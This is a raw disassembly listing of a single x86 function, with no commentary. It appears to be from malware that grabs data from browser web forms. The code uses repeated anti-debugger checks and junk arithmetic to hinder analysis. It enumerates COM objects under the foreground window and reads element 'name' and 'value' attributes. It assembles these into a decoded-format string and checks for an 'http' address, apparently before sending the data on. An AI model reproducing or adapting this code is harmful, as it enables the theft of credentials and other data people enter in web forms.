var_52644	= dword	ptr -52644h
var_52640	= dword	ptr -52640h
lpWideCharStr	= dword	ptr -5263Ch
ppv		= dword	ptr -52638h
var_5262D	= byte ptr -5262Dh
var_5262C	= dword	ptr -5262Ch
var_52626	= word ptr -52626h
var_52624	= word ptr -52624h
var_52622	= word ptr -52622h
var_5261F	= byte ptr -5261Fh
var_5261E	= byte ptr -5261Eh
var_5261D	= byte ptr -5261Dh
var_5261C	= dword	ptr -5261Ch
var_52618	= dword	ptr -52618h
var_52614	= dword	ptr -52614h
var_52610	= dword	ptr -52610h
var_52609	= byte ptr -52609h
var_52608	= dword	ptr -52608h
var_52604	= dword	ptr -52604h
var_525FE	= word ptr -525FEh
var_525FC	= dword	ptr -525FCh
var_525F6	= word ptr -525F6h
var_525F4	= dword	ptr -525F4h
var_525EE	= word ptr -525EEh
var_525EC	= dword	ptr -525ECh
var_525E8	= dword	ptr -525E8h
var_525E4	= dword	ptr -525E4h
var_525DF	= byte ptr -525DFh
var_524E0	= byte ptr -524E0h
var_524D8	= dword	ptr -524D8h
var_524CC	= dword	ptr -524CCh
var_524C8	= byte ptr -524C8h
var_39E28	= byte ptr -39E28h
var_21788	= word ptr -21788h
var_21786	= word ptr -21786h
var_21784	= dword	ptr -21784h
var_2177D	= byte ptr -2177Dh
var_1177E	= word ptr -1177Eh
var_1177C	= word ptr -1177Ch
var_10FAC	= dword	ptr -10FACh
var_10FA8	= dword	ptr -10FA8h
var_10FA4	= dword	ptr -10FA4h
Dest		= byte ptr -10001h
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		mov	eax, 63820h
		call	sub_40C6B8
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_525F6], 7310h
		movzx	eax, [ebp+var_525F6]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_525F6], ax
		push	offset psz	; "value"
		call	SysAllocString
		mov	[ebp+var_10FA8], eax
		push	offset aName	; "name"
		call	SysAllocString
		mov	[ebp+var_10FAC], eax
		lea	eax, [ebp+ppv]
		push	eax		; ppv
		call	sub_40696D
		pop	ecx
		or	eax, eax
		jz	loc_407E44
		call	GetLastError


loc_406D95:				; CODE XREF: sub_406D2E+9Aj
					; sub_406D2E+CBj ...
		push	0		; Duration
		call	_sleep	; _sleep
		call	IsDebuggerPresent	; IsDebuggerPresent
		call	GetForegroundWindow	; GetForegroundWindow
		mov	[ebp+var_52614], eax
		push	eax		; hWnd
		lea	eax, [ebp+ppv]
		push	eax		; int
		call	sub_406A40
		add	esp, 0Ch
		call	GetTickCount	; GetTickCount
		cmp	dword_442370, 0
		jz	short loc_406D95
		mov	[ebp+var_52618], 4FCAh
		sub	[ebp+var_52618], 3B66h
		lea	eax, [ebp+var_525F4]
		push	eax
		mov	eax, dword_442370
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+48h]
		mov	ebx, eax
		call	IsDebuggerPresent	; IsDebuggerPresent
		or	ebx, ebx
		jnz	short loc_406D95
		lea	eax, [ebp+var_525FC]
		push	eax
		push	offset loc_447ACC
		mov	eax, [ebp+var_525F4]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	[ebp+var_5261C], 7776h
		add	[ebp+var_5261C], 6412h
		or	ebx, ebx
		jnz	loc_407E25
		call	GetCurrentProcessId	; GetCurrentProcessId
		lea	eax, [ebp+lpWideCharStr]
		push	eax
		mov	eax, dword_442370
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+78h]
		mov	ebx, eax
		mov	[ebp+var_5261D], 4
		add	[ebp+var_5261D], 1
		or	ebx, ebx
		jnz	loc_407E02
		push	offset MultiByteStr ; lpMultiByteStr
		push	[ebp+lpWideCharStr] ; lpWideCharStr
		call	sub_4068C1
		add	esp, 8
		mov	edi, eax
		inc	edi
		mov	[ebp+var_52644], edi
		mov	eax, [ebp+var_52614]
		mov	dword_42FB14, eax
		lea	eax, [ebp+var_525FE]
		push	eax
		mov	eax, dword_442370
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+7Ch]
		mov	ebx, eax
		mov	[ebp+var_5261E], 74h
		add	[ebp+var_5261E], 1
		or	ebx, ebx
		jnz	loc_407E02
		cmp	[ebp+var_525FE], 0
		jnz	loc_407E02
		lea	edi, [ebp+var_52649]
		lea	esi, word_4423B6
		mov	ecx, 5
		rep movsb
		mov	eax, dword_4423BB
		mov	[ebp+var_5264E+1], eax
		mov	[ebp+Dest], 0
		mov	[ebp+var_2], 0
		lea	eax, [ebp+var_52604]
		push	eax
		mov	eax, [ebp+var_525FC]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+5Ch]
		mov	ebx, eax
		mov	[ebp+var_5261F], 10h
		movzx	eax, [ebp+var_5261F]
		imul	eax, 7B1Bh
		mov	[ebp+var_5261F], al
		or	ebx, ebx
		jnz	loc_407E02
		lea	edi, [ebp+var_52653]
		lea	esi, byte_4423BF
		mov	ecx, 3
		rep movsw
		lea	eax, [ebp+var_52640]
		push	eax
		mov	eax, [ebp+var_52604]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+20h]
		mov	ebx, eax
		call	GetTickCount	; GetTickCount
		or	ebx, ebx
		jnz	loc_407DED
		call	IsDebuggerPresent	; IsDebuggerPresent
		or	[ebp+var_524CC], 0FFFFFFFFh


loc_406F67:				; CODE XREF: sub_406D2E+B83j
		mov	[ebp+var_52622], 1C5h
		add	[ebp+var_52622], 47D9h
		and	[ebp+var_52608], 0
		and	[ebp+var_52610], 0
		cmp	[ebp+var_524CC], 0FFFFFFFFh
		jnz	short loc_406FD3
		call	GetLastError
		lea	eax, [ebp+var_525E4]
		push	eax
		mov	eax, [ebp+var_525FC]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+38h]
		mov	ebx, eax
		lea	edi, [ebp+var_52678+1]
		lea	esi, byte_4423C5
		movsd
		movsd
		or	ebx, ebx
		jnz	loc_40789F
		mov	[ebp+var_5266F], 40h
		add	[ebp+var_5266F], 3Ch
		jmp	loc_407112
; ---------------------------------------------------------------------------


loc_406FD3:				; CODE XREF: sub_406D2E+260j
		call	GetCurrentProcessId	; GetCurrentProcessId
		mov	[ebp+var_52680], 17h
		mov	eax, [ebp+var_524CC]
		mov	[ebp+var_52678], eax
		lea	eax, [ebp+var_52690]
		push	eax
		lea	eax, [ebp+var_52680]
		push	eax
		mov	eax, [ebp+var_52604]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+1Ch]
		call	GetVersion	; GetVersion
		lea	eax, [ebp+var_52608]
		push	eax
		push	(offset	loc_447AF8+4)
		mov	eax, [ebp+var_52688]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, dword_4423CD
		mov	[ebp+var_52694], eax
		or	ebx, ebx
		jnz	loc_40789F
		mov	[ebp+var_5266F], 2Eh
		movzx	eax, [ebp+var_5266F]
		imul	eax, 392Ch
		mov	[ebp+var_5266F], al
		lea	eax, [ebp+var_52610]
		push	eax
		mov	eax, [ebp+var_52608]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+0D0h]
		mov	ebx, eax
		call	GetLastError
		or	ebx, ebx
		jz	short loc_4070AB
		call	GetProcessHeap	; GetProcessHeap
		mov	eax, [ebp+var_52608]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		mov	[ebp+var_5269A], 1EB8h
		movzx	eax, [ebp+var_5269A]
		imul	eax, 4A7Ch
		mov	[ebp+var_5269A], ax
		jmp	loc_40789F
; ---------------------------------------------------------------------------


loc_4070AB:				; CODE XREF: sub_406D2E+348j
		lea	eax, [ebp+var_525E4]
		push	eax
		mov	eax, [ebp+var_52610]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+38h]
		mov	ebx, eax
		mov	eax, dword_4423D1
		mov	[ebp+var_52698], eax
		or	ebx, ebx
		jz	short loc_407112
		call	IsDebuggerPresent	; IsDebuggerPresent
		mov	eax, [ebp+var_52610]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		mov	byte ptr [ebp+var_5269A+1], 67h
		sub	byte ptr [ebp+var_5269A+1], 4Ah
		mov	eax, [ebp+var_52608]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		lea	edi, [ebp+var_5269E]
		lea	esi, a4yk3	; "4Yk3"
		mov	ecx, 5
		rep movsb
		jmp	loc_40789F
; ---------------------------------------------------------------------------


loc_407112:				; CODE XREF: sub_406D2E+2A0j
					; sub_406D2E+39Fj
		lea	eax, [ebp+var_525EC]
		push	eax
		mov	eax, [ebp+var_525E4]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+24h]
		mov	ebx, eax
		call	GetLastError
		or	ebx, ebx
		jnz	loc_407D88
		mov	[ebp+var_52609], 0Ah
		movzx	eax, [ebp+var_52609]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_52609], al
		and	[ebp+var_21784], 0
		jmp	loc_40788D
; ---------------------------------------------------------------------------


loc_40715A:				; CODE XREF: sub_406D2E+B6Bj
		call	GetCurrentThreadId	; GetCurrentThreadId
		push	0		; Duration
		call	_sleep	; _sleep
		pop	ecx
		call	GetTickCount	; GetTickCount
		mov	[ebp+var_626A8], 2
		mov	eax, [ebp+var_21784]
		mov	[ebp+var_626A0], eax
		lea	eax, [ebp+var_62694]
		push	eax
		lea	esi, [ebp+var_626A8]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		lea	esi, [ebp+var_626A8]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+var_525E4]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+2Ch]
		mov	ebx, eax
		lea	edi, [ebp+var_627BF]
		lea	esi, aB		; "~"
		mov	ecx, 3
		rep movsb
		or	ebx, ebx
		jnz	loc_407887
		lea	edi, [ebp+var_627C4]
		lea	esi, aZrsh	; "ZRSH"
		mov	ecx, 5
		rep movsb
		and	[ebp+var_626AC], 0
		lea	eax, [ebp+var_626AC]
		push	eax
		push	(offset	loc_447ADB+1)
		mov	eax, [ebp+var_62694]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	[ebp+var_626B0], 4352h
		mov	eax, [ebp+var_626B0]
		mov	edx, eax
		add	edx, eax
		mov	[ebp+var_626B0], edx
		or	ebx, ebx
		jnz	loc_407585
		lea	eax, [ebp+var_626B4]
		push	eax
		mov	eax, [ebp+var_626AC]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+0F0h]
		mov	ebx, eax
		lea	edi, [ebp+var_627CA]
		lea	esi, aTxnve	; "TxN‚e"
		mov	ecx, 3
		rep movsw
		or	ebx, ebx
		jnz	loc_407585
		mov	ax, word_4423E8
		mov	[ebp+var_627CC], ax
		lea	edi, [ebp+var_627D3]
		lea	esi, word_4423EA
		mov	ecx, 7
		rep movsb
		lea	eax, [ebp+MultiByteStr]
		push	eax		; lpMultiByteStr
		push	[ebp+var_626B4]	; lpWideCharStr
		call	sub_4068C1
		add	esp, 8
		mov	edi, eax
		inc	edi
		mov	[ebp+var_6268C], edi
		call	GetLastError
		and	[ebp+var_52674], 0
		jmp	short loc_4072D8
; ---------------------------------------------------------------------------


loc_4072AF:				; CODE XREF: sub_406D2E+5B6j
		mov	eax, [ebp+var_52674]
		mov	al, [ebp+eax+MultiByteStr]
		cmp	al, 0Dh
		jz	short loc_4072C4
		cmp	al, 0Ah
		jnz	short loc_4072D2


loc_4072C4:				; CODE XREF: sub_406D2E+590j
		mov	eax, [ebp+var_52674]
		mov	[ebp+eax+MultiByteStr],	0


loc_4072D2:				; CODE XREF: sub_406D2E+594j
		inc	[ebp+var_52674]


loc_4072D8:				; CODE XREF: sub_406D2E+57Fj
		mov	eax, [ebp+var_6268C]
		cmp	[ebp+var_52674], eax
		jb	short loc_4072AF
		call	GetVersion	; GetVersion
		cmp	[ebp+var_524CC], 0FFFFFFFFh
		jnz	short loc_40733F
		lea	edi, [ebp+var_627DC+3]
		lea	esi, byte_4423F1
		mov	ecx, 3
		rep movsw
		push	11h		; Size
		push	offset aNPVE	; "Á°¼´³­ºÐ»²¯°¢Ø¥ÃÝ"
		call	sub_406CA2
		push	[ebp+var_21784]
		push	eax		; Format
		lea	edi, [ebp+Source]
		push	edi		; Dest
		call	sprintf	; sprintf
		lea	eax, [ebp+Source]
		push	eax		; Source
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	strcat	; strcat
		add	esp, 1Ch
		jmp	short loc_4073AB
; ---------------------------------------------------------------------------


loc_40733F:				; CODE XREF: sub_406D2E+5C4j
		mov	word ptr [ebp+var_627D8+2], 41D1h
		add	word ptr [ebp+var_627D8+2], 3FCCh
		push	13h		; Size
		push	offset aPVEPVE	; "Á»¯¼°¸¢Ø¥Ð»²¯°¢Ø¥ÃÝ"
		call	sub_406CA2
		push	[ebp+var_21784]
		push	[ebp+var_524CC]
		push	eax		; Format
		lea	edi, [ebp+Source]
		push	edi		; Dest
		call	sprintf	; sprintf
		call	GetCurrentProcessId	; GetCurrentProcessId
		lea	eax, [ebp+Source]
		push	eax		; Source
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	strcat	; strcat
		add	esp, 20h
		mov	[ebp+var_627D4], 0C9h
		movzx	eax, [ebp+var_627D4]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_627D4], al


loc_4073AB:				; CODE XREF: sub_406D2E+60Fj
		and	[ebp+var_52674], 0


loc_4073B2:				; CODE XREF: sub_406D2E+731j
		mov	eax, [ebp+var_52674]
		lea	ecx, [ebp+eax+MultiByteStr]
		or	eax, 0FFFFFFFFh


loc_4073C2:				; CODE XREF: sub_406D2E+699j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_4073C2
		mov	[ebp+var_62680], eax
		cmp	eax, 0
		jz	short loc_4073DB
		cmp	eax, 0C8h
		jbe	short loc_4073DD


loc_4073DB:				; CODE XREF: sub_406D2E+6A4j
		jmp	short loc_407446
; ---------------------------------------------------------------------------


loc_4073DD:				; CODE XREF: sub_406D2E+6ABj
		cmp	[ebp+var_62680], 1
		jnz	short loc_4073F6
		mov	eax, [ebp+var_52674]
		cmp	[ebp+eax+MultiByteStr],	20h
		jz	short loc_407446


loc_4073F6:				; CODE XREF: sub_406D2E+6B6j
		call	GetCurrentThreadId	; GetCurrentThreadId
		push	1		; Size
		push	offset byte_446ED4 ; Src
		call	sub_406CA2
		push	eax		; Source
		lea	edi, [ebp+Dest]
		push	edi		; Dest
		call	strcat	; strcat
		call	GetProcessHeap	; GetProcessHeap
		mov	eax, [ebp+var_52674]
		lea	eax, [ebp+eax+MultiByteStr]
		push	eax		; Source
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	strcat	; strcat
		add	esp, 18h
		mov	[ebp+var_627B8], 60E9h
		inc	[ebp+var_627B8]


loc_407446:				; CODE XREF: sub_406D2E:loc_4073DBj
					; sub_406D2E+6C6j
		mov	eax, [ebp+var_62680]
		inc	eax
		add	[ebp+var_52674], eax
		mov	eax, [ebp+var_6268C]
		cmp	[ebp+var_52674], eax
		jb	loc_4073B2
		mov	[ebp+var_627B9], 0B2h
		movzx	eax, [ebp+var_627B9]
		imul	eax, 2A9Dh
		mov	[ebp+var_627B9], al
		and	[ebp+var_62688], 0
		lea	ecx, [ebp+Dest]
		or	eax, 0FFFFFFFFh


loc_40748F:				; CODE XREF: sub_406D2E+766j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_40748F
		mov	[ebp+var_62680], eax
		mov	[ebp+var_52674], 0
		jmp	loc_407565
; ---------------------------------------------------------------------------


loc_4074AB:				; CODE XREF: sub_406D2E+843j
		mov	word ptr [ebp+var_627D8+2], 6673h
		movzx	eax, word ptr [ebp+var_627D8+2]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	word ptr [ebp+var_627D8+2], ax
		mov	eax, [ebp+var_52674]
		cmp	[ebp+eax+Dest],	20h
		jz	short loc_4074DF
		and	[ebp+var_6267C], 0


loc_4074DF:				; CODE XREF: sub_406D2E+7A8j
		mov	word ptr [ebp+var_627D8], 5E3Bh
		add	word ptr [ebp+var_627D8], 7D94h
		cmp	[ebp+var_6267C], 0
		jnz	short loc_407540
		mov	[ebp+var_627DC], 7B77h
		mov	eax, 51B3h
		mul	[ebp+var_627DC]
		mov	[ebp+var_627E0], eax
		mov	[ebp+var_627DC], eax
		mov	eax, [ebp+var_62688]
		mov	edx, [ebp+var_52674]
		mov	dl, [ebp+edx+Dest]
		mov	[ebp+eax+Dest],	dl
		call	IsDebuggerPresent	; IsDebuggerPresent
		inc	[ebp+var_62688]


loc_407540:				; CODE XREF: sub_406D2E+7CAj
		mov	eax, [ebp+var_52674]
		cmp	[ebp+eax+Dest],	20h
		jnz	short loc_40755A
		mov	[ebp+var_6267C], 1


loc_40755A:				; CODE XREF: sub_406D2E+820j
		call	IsDebuggerPresent	; IsDebuggerPresent
		inc	[ebp+var_52674]


loc_407565:				; CODE XREF: sub_406D2E+778j
		mov	eax, [ebp+var_62680]
		cmp	[ebp+var_52674], eax
		jb	loc_4074AB
		mov	eax, [ebp+var_62688]
		mov	[ebp+eax+Dest],	0


loc_407585:				; CODE XREF: sub_406D2E+4FBj
					; sub_406D2E+52Fj
		and	[ebp+var_62684], 0
		lea	eax, [ebp+var_62684]
		push	eax
		push	(offset	loc_447AE8+4)
		mov	eax, [ebp+var_62694]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		call	GetTickCount	; GetTickCount
		or	ebx, ebx
		jnz	loc_407855
		call	GetProcessHeap	; GetProcessHeap
		lea	eax, [ebp+var_62690]
		push	eax
		mov	eax, [ebp+var_62684]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+6Ch]
		mov	ebx, eax
		or	ebx, ebx
		jnz	loc_407832
		and	[ebp+var_52678], 0
		jmp	loc_407819
; ---------------------------------------------------------------------------


loc_4075E5:				; CODE XREF: sub_406D2E+AF7j
		call	GetProcessHeap	; GetProcessHeap
		push	0		; Duration
		call	_sleep	; _sleep
		pop	ecx
		mov	[ebp+var_627F0], 2
		mov	eax, [ebp+var_52678]
		mov	[ebp+var_627E8], eax
		lea	eax, [ebp+var_627DC]
		push	eax
		lea	esi, [ebp+var_627F0]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		lea	esi, [ebp+var_627F0]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+var_62684]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+74h]
		mov	ebx, eax
		or	ebx, ebx
		jnz	loc_407813
		call	GetProcessHeap	; GetProcessHeap
		and	[ebp+var_627D8], 0
		lea	eax, [ebp+var_627D8]
		push	eax
		push	(offset	loc_447ADB+1)
		mov	eax, [ebp+var_627DC]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		call	GetLastError
		or	ebx, ebx
		jnz	loc_4077E1
		mov	[ebp+var_62804], 1DE4h
		sub	[ebp+var_62804], 0BA1h
		cmp	[ebp+var_627D8], 0
		jz	loc_4077E1
		mov	[ebp+var_62806], 1B0Fh
		sub	[ebp+var_62806], 4876h
		lea	eax, [ebp+var_62800]
		push	eax
		push	0
		push	[ebp+var_10FA8]
		mov	eax, [ebp+var_627D8]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+20h]
		mov	ebx, eax
		call	GetCurrentProcessId	; GetCurrentProcessId
		or	ebx, ebx
		jnz	loc_4077E1
		mov	eax, dword_4423F7
		mov	[ebp+var_62810], eax
		cmp	[ebp+var_62800], 8
		jnz	loc_4077E1
		movzx	edi, [ebp+var_2]
		mov	esi, [ebp+var_627D8]
		mov	[ebp+edi*4+var_10FA4], esi
		movzx	edi, [ebp+var_2]
		mov	esi, [ebp+var_52678]
		mov	[ebp+edi*2+var_1177C], si
		lea	eax, [ebp+var_62800]
		push	eax
		push	0
		push	[ebp+var_10FAC]
		mov	eax, [ebp+var_627D8]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+20h]
		mov	ebx, eax
		mov	[ebp+var_62808], 3C9Dh
		movzx	eax, [ebp+var_62808]
		imul	eax, 22A9h
		mov	[ebp+var_62808], ax
		or	ebx, ebx
		jnz	loc_4077DD
		call	GetLastError
		mov	ax, word_4423FB
		mov	[ebp+var_63816], ax
		lea	edi, [ebp+var_6381C]
		lea	esi, byte_4423FD
		mov	ecx, 3
		rep movsw
		lea	eax, [ebp+var_6380F]
		push	eax		; lpMultiByteStr
		push	[ebp+var_627F8]	; lpWideCharStr
		call	sub_4068C1
		add	esp, 8
		mov	edi, eax
		inc	edi
		mov	[ebp+var_63814], edi
		call	GetLastError
		cmp	[ebp+var_6380F], 0
		jz	short loc_4077CC
		cmp	edi, 64h
		jnb	short loc_4077CC
		lea	eax, [ebp+var_6380F]
		push	eax
		movzx	eax, [ebp+var_2]
		imul	eax, 64h
		lea	eax, [ebp+eax+var_39E28]
		push	eax
		call	sub_40C6D8


loc_4077CC:				; CODE XREF: sub_406D2E+A7Cj
					; sub_406D2E+A81j
		lea	edi, [ebp+var_6381D]
		lea	esi, byte_442403
		xor	ecx, ecx
		inc	ecx
		rep movsb


loc_4077DD:				; CODE XREF: sub_406D2E+A26j
		inc	[ebp+var_2]


loc_4077E1:				; CODE XREF: sub_406D2E+94Bj
					; sub_406D2E+96Cj ...
		cmp	[ebp+var_627D8], 0
		jz	short $+2
		mov	[ebp+var_6280C], 346Bh
		sub	[ebp+var_6280C], 3A2Ah
		cmp	[ebp+var_627DC], 0
		jz	short loc_407813
		mov	eax, [ebp+var_627DC]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_407813:				; CODE XREF: sub_406D2E+914j
					; sub_406D2E+AD7j
		inc	[ebp+var_52678]


loc_407819:				; CODE XREF: sub_406D2E+8B2j
		mov	eax, [ebp+var_62690]
		cmp	[ebp+var_52678], eax
		jb	loc_4075E5
		jmp	short loc_407887
; ---------------------------------------------------------------------------
		call	GetCurrentProcessId	; GetCurrentProcessId


loc_407832:				; CODE XREF: sub_406D2E+8A5j
		cmp	[ebp+var_62684], 0
		jz	short loc_407847
		mov	eax, [ebp+var_62684]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_407847:				; CODE XREF: sub_406D2E+B0Bj
		mov	[ebp+var_627BA], 0F2h
		sub	[ebp+var_627BA], 5Dh


loc_407855:				; CODE XREF: sub_406D2E+883j
		cmp	[ebp+var_62694], 0
		jz	short loc_40786A
		mov	eax, [ebp+var_62694]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_40786A:				; CODE XREF: sub_406D2E+B2Ej
		mov	[ebp+var_627BC], 143Bh
		movzx	eax, [ebp+var_627BC]
		imul	eax, 22Eh
		mov	[ebp+var_627BC], ax


loc_407887:				; CODE XREF: sub_406D2E+4A1j
					; sub_406D2E+AFDj
		inc	[ebp+var_21784]


loc_40788D:				; CODE XREF: sub_406D2E+427j
		mov	eax, [ebp+var_525EC]
		cmp	[ebp+var_21784], eax
		jb	loc_40715A


loc_40789F:				; CODE XREF: sub_406D2E+28Cj
					; sub_406D2E+309j ...
		inc	[ebp+var_524CC]
		mov	eax, [ebp+var_52640]
		cmp	[ebp+var_524CC], eax
		jl	loc_406F67
		lea	edi, [ebp+var_52656]
		lea	esi, byte_442404
		mov	ecx, 3
		rep movsb


loc_4078CA:				; CODE XREF: sub_406D2E+D09j
		push	0		; Duration
		call	_sleep	; _sleep
		pop	ecx
		call	GetTickCount	; GetTickCount
		mov	[ebp+var_21786], 0
		jmp	loc_4079DF
; ---------------------------------------------------------------------------


loc_4078E5:				; CODE XREF: sub_406D2E+CBEj
		mov	[ebp+var_62674], 78C0h
		sub	[ebp+var_62674], 6288h
		lea	eax, [ebp+var_524E0]
		push	eax
		push	0
		push	[ebp+var_10FA8]
		movzx	edi, [ebp+var_21786]
		mov	edi, [ebp+edi*4+var_10FA4]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+20h]
		mov	ebx, eax
		mov	dword ptr [ebp-62678h],	2EABh
		mov	eax, 693Bh
		mul	dword ptr [ebp-62678h]
		mov	[ebp+var_62690], eax
		mov	[ebp-62678h], eax
		or	ebx, ebx
		jnz	loc_4079D8
		lea	edi, [ebp+var_62688+3]
		lea	esi, byte_442407
		xor	ecx, ecx
		inc	ecx
		rep movsb
		mov	eax, dword_442408
		mov	[ebp+var_6268C+3], eax
		lea	eax, [ebp+var_6266D]
		push	eax		; lpMultiByteStr
		push	[ebp+var_524D8]	; lpWideCharStr
		call	sub_4068C1
		add	esp, 8
		mov	edi, eax
		inc	edi
		mov	[ebp+var_62684], edi
		mov	[ebp+var_6267C], 17FCh
		inc	[ebp+var_6267C]
		cmp	[ebp+var_6266D], 0
		jz	short loc_4079D8
		mov	word ptr [ebp+var_62680+2], 2AD9h
		sub	word ptr [ebp+var_62680+2], 258Eh
		cmp	[ebp+var_62684], 64h
		jnb	short loc_4079D3
		lea	eax, [ebp+var_6266D]
		push	eax
		movzx	eax, [ebp+var_21786]
		imul	eax, 64h
		lea	eax, [ebp+eax+var_524C8]
		push	eax
		call	sub_40C6D8


loc_4079D3:				; CODE XREF: sub_406D2E+C85j
		call	GetTickCount	; GetTickCount


loc_4079D8:				; CODE XREF: sub_406D2E+C13j
					; sub_406D2E+C6Aj
		inc	[ebp+var_21786]


loc_4079DF:				; CODE XREF: sub_406D2E+BB2j
		movzx	eax, [ebp+var_21786]
		movzx	edx, [ebp+var_2]
		cmp	eax, edx
		jl	loc_4078E5
		lea	eax, [ebp+var_525FE]
		push	eax
		mov	eax, dword_442370
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+7Ch]
		mov	ebx, eax
		mov	[ebp+var_52624], 370Ah
		inc	[ebp+var_52624]
		or	ebx, ebx
		jnz	loc_407E02
		lea	edi, [ebp+var_52657]
		lea	esi, byte_44240C
		xor	ecx, ecx
		inc	ecx
		rep movsb
		cmp	[ebp+var_525FE], 0
		jz	loc_4078CA
		call	GetCurrentProcessId	; GetCurrentProcessId
		lea	edi, [ebp+var_5265D]
		lea	esi, a1o8qz	; "1o8QZ"
		mov	ecx, 3
		rep movsw
		mov	[ebp+var_2177D], 0
		push	offset MultiByteStr
		lea	eax, [ebp+var_2177D]
		push	eax
		call	sub_40C6D8
		mov	[ebp+var_525E8], 1
		mov	[ebp+var_1177E], 0
		jmp	loc_407B63
; ---------------------------------------------------------------------------


loc_407A86:				; CODE XREF: sub_406D2E+E42j
		call	GetTickCount	; GetTickCount
		movzx	eax, [ebp+var_1177E]
		imul	eax, 64h
		cmp	[ebp+eax+var_524C8], 0
		jz	loc_407B5C
		call	GetCurrentProcessId	; GetCurrentProcessId
		and	[ebp+var_525E8], 0
		push	4		; Size
		push	offset byte_446ECF ; Src
		call	sub_406CA2
		movzx	edi, [ebp+var_1177E]
		push	edi
		push	eax		; Format
		lea	edi, [ebp+var_525DF]
		push	edi		; Dest
		call	sprintf	; sprintf
		lea	eax, [ebp+var_525DF]
		push	eax		; Source
		lea	eax, [ebp+var_2177D]
		push	eax		; Dest
		call	strcat	; strcat
		lea	edi, [ebp+var_52674]
		lea	esi, aKbX0	; "k*x0"
		mov	ecx, 3
		rep movsw
		movzx	eax, [ebp+var_1177E]
		imul	eax, 64h
		lea	eax, [ebp+eax+var_39E28]
		push	eax		; Source
		lea	eax, [ebp+var_2177D]
		push	eax		; Dest
		call	strcat	; strcat
		push	1		; Size
		push	offset byte_446ECD ; Src
		call	sub_406CA2
		push	eax		; Source
		lea	edi, [ebp+var_2177D]
		push	edi		; Dest
		call	strcat	; strcat
		mov	ax, word_442419
		mov	word ptr [ebp+var_52678+2], ax
		movzx	eax, [ebp+var_1177E]
		imul	eax, 64h
		lea	eax, [ebp+eax+var_524C8]
		push	eax		; Source
		lea	eax, [ebp+var_2177D]
		push	eax		; Dest
		call	strcat	; strcat
		add	esp, 3Ch


loc_407B5C:				; CODE XREF: sub_406D2E+D6Fj
		inc	[ebp+var_1177E]


loc_407B63:				; CODE XREF: sub_406D2E+D53j
		movzx	eax, [ebp+var_1177E]
		movzx	edx, [ebp+var_2]
		cmp	eax, edx
		jl	loc_407A86
		cmp	[ebp+var_525E8], 0
		jnz	loc_407D88
		lea	edi, [ebp+var_52663]
		lea	esi, byte_44241B
		mov	ecx, 3
		rep movsw
		push	1		; Size
		push	offset byte_446ECB ; Src
		call	sub_406CA2
		push	eax		; Source
		lea	edi, [ebp+var_2177D]
		push	edi		; Dest
		call	strcat	; strcat
		call	GetCurrentProcessId	; GetCurrentProcessId
		lea	eax, [ebp+Dest]
		push	eax		; Source
		lea	eax, [ebp+var_2177D]
		push	eax		; Dest
		call	strcat	; strcat
		add	esp, 18h
		mov	eax, dword_442421
		mov	[ebp+var_52667], eax
		cmp	MultiByteStr, 68h
		jnz	short loc_407BFA
		cmp	byte_41FB11, 74h
		jnz	short loc_407BFA
		cmp	byte_41FB12, 74h
		jnz	short loc_407BFA
		cmp	byte_41FB13, 70h
		jz	short loc_407BFF


loc_407BFA:				; CODE XREF: sub_406D2E+EAFj
					; sub_406D2E+EB8j ...
		jmp	loc_407D3D
; ---------------------------------------------------------------------------


loc_407BFF:				; CODE XREF: sub_406D2E+ECAj
		call	GetVersion	; GetVersion
		push	8		; Size
		push	offset word_446EC2 ; Src
		call	sub_406CA2
		mov	edi, 9
		sub	edi, dword_4423A4
		push	edi
		push	eax
		push	offset MultiByteStr
		call	sub_40181A
		add	esp, 14h
		cmp	eax, 0FFFFh
